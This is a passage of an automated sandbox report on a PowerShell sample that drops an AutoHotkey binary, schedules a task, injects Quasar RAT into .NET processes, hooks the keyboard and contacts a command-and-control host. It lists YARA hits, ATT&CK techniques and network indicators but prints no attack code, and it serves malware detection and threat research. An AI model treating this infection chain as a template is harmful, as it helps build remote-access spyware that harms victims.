                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_000000014002A757 GetFileAttributesW,SetCurrentDirectoryW,free,GetSystemTimeAsFileTime,19_2_000000014002A757
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140076750 GetComputerNameW,GetUserNameW,19_2_0000000140076750
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_00000001400DC058 HeapCreate,GetVersion,HeapSetInformation,19_2_00000001400DC058
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected Quasar RAT
                Source: Yara matchFile source: 7.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1927919605.000000000273B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.1854587486.00000000033D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.4213601750.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000D.00000002.1930008150.000000000270B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000B.00000002.1930172049.000000000276B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.1927403521.000000000231B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.1855061423.0000000002C9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7564, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7576, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7624, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7760, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7768, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7788, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7804, type: MEMORYSTR
                Source: AutoHotkey64.exeBinary or memory string: WIN_XP
                Source: AutoHotkey64.exeBinary or memory string: WIN_VISTA
                Source: AutoHotkey64.exeBinary or memory string: WIN_7
                Source: AutoHotkey64.exe.0.drBinary or memory string: ?*A Goto/Gosub must not jump into a block that doesn't enclose it.ddddddd%02d%dmsSlowLogoffSingleWIN32_NTWIN_8.1WIN_8WIN_7WIN_VISTAWIN_XPWIN_2003%04hX0x%Ix*pPIntStrPtrShortInt64DoubleAStrWStrgdi32comctl32kernel32W-3-4CDecl-2This DllCall requires a prior VarSetCapacity.Pos%sLen%sPos%dLen%dLenMarkCountarraypcre_calloutCompile error %d at offset %d: %hs-+0 #diouxXeEfgGaAcCpULlTt%0.*fCallbackFfSelectVisCenterUniDescLogicalNoSortAutoHdrFirstBoldExpandGDI+JoyJoyXJoyYJoyZJoyRJoyUJoyVJoyPOVJoyNameJoyButtonsJoyAxesJoyInfo
                Source: AutoHotkey64.exeBinary or memory string: WIN_8
                Source: AutoHotkey64.exeBinary or memory string: WIN_8.1
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeDirectory queried: C:\Users\Public\DocumentsJump to behavior

                Remote Access Functionality

                barindex
                Detected Quasar RAT
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\QSR_MUTEX_nCFXZUEaa8h2uJHNCIJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\QSR_MUTEX_nCFXZUEaa8h2uJHNCIJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\QSR_MUTEX_nCFXZUEaa8h2uJHNCIJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\QSR_MUTEX_nCFXZUEaa8h2uJHNCIJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\QSR_MUTEX_nCFXZUEaa8h2uJHNCIJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\QSR_MUTEX_nCFXZUEaa8h2uJHNCIJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMutex created: \Sessions\1\BaseNamedObjects\QSR_MUTEX_nCFXZUEaa8h2uJHNCI
                Yara detected Quasar RAT
                Source: Yara matchFile source: 7.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000C.00000002.1927919605.000000000273B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000007.00000002.1854587486.00000000033D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.4213601750.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000D.00000002.1930008150.000000000270B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000B.00000002.1930172049.000000000276B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000A.00000002.1927403521.000000000231B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.1855061423.0000000002C9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7564, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7576, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7624, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7760, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7768, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7788, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7804, type: MEMORYSTR
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140028980 Shell_NotifyIconW,RemoveClipboardFormatListener,ChangeClipboardChain,DestroyWindow,IsWindow,DestroyWindow,DeleteObject,DeleteObject,DeleteObject,DeleteObject,DestroyIcon,IsWindow,DestroyWindow,DeleteObject,DeleteObject,DeleteObject,DeleteObject,DestroyIcon,DestroyIcon,IsWindow,DestroyWindow,DeleteObject,mciSendStringW,mciSendStringW,DeleteCriticalSection,OleUninitialize,free,free,free,19_2_0000000140028980
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140080CE0 RemoveClipboardFormatListener,ChangeClipboardChain,19_2_0000000140080CE0
                Source: C:\Users\Public\Documents\AutoHotkey64.exeCode function: 19_2_0000000140029620 AddClipboardFormatListener,PostMessageW,SetClipboardViewer,RemoveClipboardFormatListener,ChangeClipboardChain,19_2_0000000140029620

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire InfrastructureValid Accounts21
                Windows Management Instrumentation                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		11
                Disable or Modify Tools                		121
                Input Capture                		11
                System Time Discovery                		Remote Services1
                Archive Collected Data                		2
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault Accounts1
                Native API                		1
                Scheduled Task/Job                		1
                DLL Side-Loading                		1
                Deobfuscate/Decode Files or Information                		LSASS Memory1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain Accounts1
                Scheduled Task/Job                		Logon Script (Windows)1
                Access Token Manipulation                		2
                Obfuscated Files or Information                		Security Account Manager12
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Screen Capture                		1
                Non-Standard Port                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal Accounts1
                PowerShell                		Login Hook312
                Process Injection                		1
                Software Packing                		NTDS36
                System Information Discovery                		Distributed Component Object Model121
                Input Capture                		1
                Remote Access Software                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script1
                Scheduled Task/Job                		1
                DLL Side-Loading                		LSA Secrets31
                Security Software Discovery                		SSH3
                Clipboard Data                		2
                Non-Application Layer Protocol                		Scheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                Masquerading                		Cached Domain Credentials41
                Virtualization/Sandbox Evasion                		VNCGUI Input Capture12
                Application Layer Protocol                		Data Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                Modify Registry                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job41
                Virtualization/Sandbox Evasion                		Proc Filesystem11
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                Access Token Manipulation                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron312
                Process Injection                		Network Sniffing1
                System Network Configuration Discovery                		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1577249 Sample: x.ps1 Startdate: 18/12/2024 Architecture: WINDOWS Score: 100 43 ip-api.com 2->43 45 feature-ssa.mywire.org 2->45 65 Suricata IDS alerts for network traffic 2->65 67 Malicious sample detected (through community Yara rule) 2->67 69 Yara detected Quasar RAT 2->69 71 5 other signatures 2->71 8 powershell.exe 22 2->8         started        12 AutoHotkey64.exe 2->12         started        14 AutoHotkey64.exe 2->14         started        signatures3 process4 file5 41 C:\Users\Public\Documents\AutoHotkey64.exe, PE32+ 8->41 dropped 73 Uses schtasks.exe or at.exe to add and modify task schedules 8->73 75 Found suspicious powershell code related to unpacking or dynamic code loading 8->75 77 Powershell drops PE file 8->77 16 AutoHotkey64.exe 8->16         started        19 conhost.exe 8->19         started        21 schtasks.exe 1 8->21         started        79 Writes to foreign memory regions 12->79 81 Allocates memory in foreign processes 12->81 83 Injects a PE file into a foreign processes 12->83 23 AddInProcess32.exe 2 12->23         started        25 AddInProcess32.exe 2 12->25         started        27 AddInProcess32.exe 2 12->27         started        29 2 other processes 12->29 85 Sample or dropped binary is a compiled AutoHotkey binary 14->85 signatures6 process7 signatures8 51 Writes to foreign memory regions 16->51 53 Allocates memory in foreign processes 16->53 55 Injects a PE file into a foreign processes 16->55 57 Sample or dropped binary is a compiled AutoHotkey binary 16->57 31 AddInProcess32.exe 16 4 16->31         started        35 AddInProcess32.exe 2 16->35         started        37 AddInProcess32.exe 3 16->37         started        39 2 other processes 16->39 59 Detected Quasar RAT 23->59 process9 dnsIp10 47 feature-ssa.mywire.org 66.225.254.246, 1177, 49731 USG-CORPORATIONUS United States 31->47 49 ip-api.com 208.95.112.1, 49730, 80 TUT-ASUS United States 31->49 61 Detected Quasar RAT 31->61 63 Installs a global keyboard hook 31->63 signatures11

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                x.ps15%VirustotalBrowse
                x.ps13%ReversingLabs

                Dropped Files

                SourceDetectionScannerLabelLink
                C:\Users\Public\Documents\AutoHotkey64.exe3%ReversingLabs

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://schemas.datacontract.org/2004/07/xClient.Core.Data0%Avira URL Cloudsafe
                https://autohotkey.comCould0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                ip-api.com
                		208.95.112.1
                		truefalse
                  		high
                  feature-ssa.mywire.org
                  		66.225.254.246
                  		truefalse
                    		unknown

                    Contacted URLs

                    NameMaliciousAntivirus DetectionReputation
                    http://ip-api.com/json/false
                      		high

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://nuget.org/NuGet.exepowershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        http://freegeoip.net/xml/AddInProcess32.exe, 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                          		high
                          http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000000.00000002.1782858040.0000012DBFE88000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://schemas.datacontract.org/2004/07/AddInProcess32.exe, 00000006.00000002.4213601750.0000000002921000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000000.00000002.1782858040.0000012DBFE88000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://autohotkey.comAutoHotkey64.exe, AutoHotkey64.exe, 00000013.00000000.3468684177.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe, 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe.0.drfalse
                                  		high
                                  https://go.micropowershell.exe, 00000000.00000002.1782858040.0000012DC01E9000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    https://contoso.com/powershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://nuget.org/nuget.exepowershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpfalse
                                        		high
                                        https://contoso.com/Licensepowershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://contoso.com/Iconpowershell.exe, 00000000.00000002.1812122999.0000012DCFF8F000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://api.ipify.org/AddInProcess32.exe, 00000007.00000002.1846910881.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                                              		high
                                              https://aka.ms/pscore68powershell.exe, 00000000.00000002.1782858040.0000012DBFC61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000000.00000002.1782858040.0000012DBFC61000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.4213601750.00000000028F1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://schemas.datacontract.org/2004/07/xClient.Core.DataAddInProcess32.exe, 00000006.00000002.4213601750.0000000002921000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://github.com/Pester/Pesterpowershell.exe, 00000000.00000002.1782858040.0000012DBFE88000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://autohotkey.comCouldpowershell.exe, 00000000.00000002.1812122999.0000012DD089D000.00000004.00000800.00020000.00000000.sdmp, AutoHotkey64.exe, 00000002.00000000.1778420471.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe, 00000004.00000000.1796075931.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe, 00000013.00000000.3468684177.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe, 00000013.00000002.4207687115.00000001400EE000.00000002.00000001.01000000.00000008.sdmp, AutoHotkey64.exe.0.drfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown

                                                    World Map of Contacted IPs

                                                    • No. of IPs < 25%
                                                    • 25% < No. of IPs < 50%
                                                    • 50% < No. of IPs < 75%
                                                    • 75% < No. of IPs

                                                    Public IPs

                                                    IPDomainCountryFlagASNASN NameMalicious
                                                    208.95.112.1
                                                    		ip-api.comUnited States
                                                    		53334TUT-ASUSfalse
                                                    66.225.254.246
                                                    		feature-ssa.mywire.orgUnited States
                                                    		33633USG-CORPORATIONUSfalse

                                                    General Information

                                                    Joe Sandbox version:41.0.0 Charoite
                                                    Analysis ID:1577249
                                                    Start date and time:2024-12-18 10:19:09 +01:00
                                                    Joe Sandbox product:CloudBasic
                                                    Overall analysis duration:0h 10m 18s
                                                    Hypervisor based Inspection enabled:false
                                                    Report type:full
                                                    Cookbook file name:default.jbs
                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                    Number of analysed new started processes analysed:20
                                                    Number of new started drivers analysed:0
                                                    Number of existing processes analysed:0
                                                    Number of existing drivers analysed:0
                                                    Number of injected processes analysed:0
                                                    Technologies:
                                                    • HCA enabled
                                                    • EGA enabled
                                                    • AMSI enabled
                                                    Analysis Mode:default
                                                    Analysis stop reason:Timeout
                                                    Sample name:x.ps1
                                                    Detection:MAL
                                                    Classification:mal100.troj.spyw.evad.winPS1@28/10@2/2
                                                    EGA Information:
                                                    • Successful, ratio: 88.9%
                                                    HCA Information:
                                                    • Successful, ratio: 99%
                                                    • Number of executed functions: 274
                                                    • Number of non-executed functions: 2
                                                    Cookbook Comments:
                                                    • Found application associated with file extension: .ps1
                                                    • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                    Warnings

                                                    • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                    • Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
                                                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                    • Execution Graph export aborted for target powershell.exe, PID 7316 because it is empty
                                                    • Not all processes where analyzed, report is missing behavior information
                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                    • Report size exceeded maximum capacity and may have missing disassembly code.
                                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                                    • Report size getting too big, too many NtReadVirtualMemory calls found.

                                                    Simulations

                                                    Behavior and APIs

                                                    TimeTypeDescription
                                                    04:20:10API Interceptor11x Sleep call for process: powershell.exe modified
                                                    04:20:11API Interceptor3x Sleep call for process: AutoHotkey64.exe modified
                                                    04:20:25API Interceptor6137048x Sleep call for process: AddInProcess32.exe modified
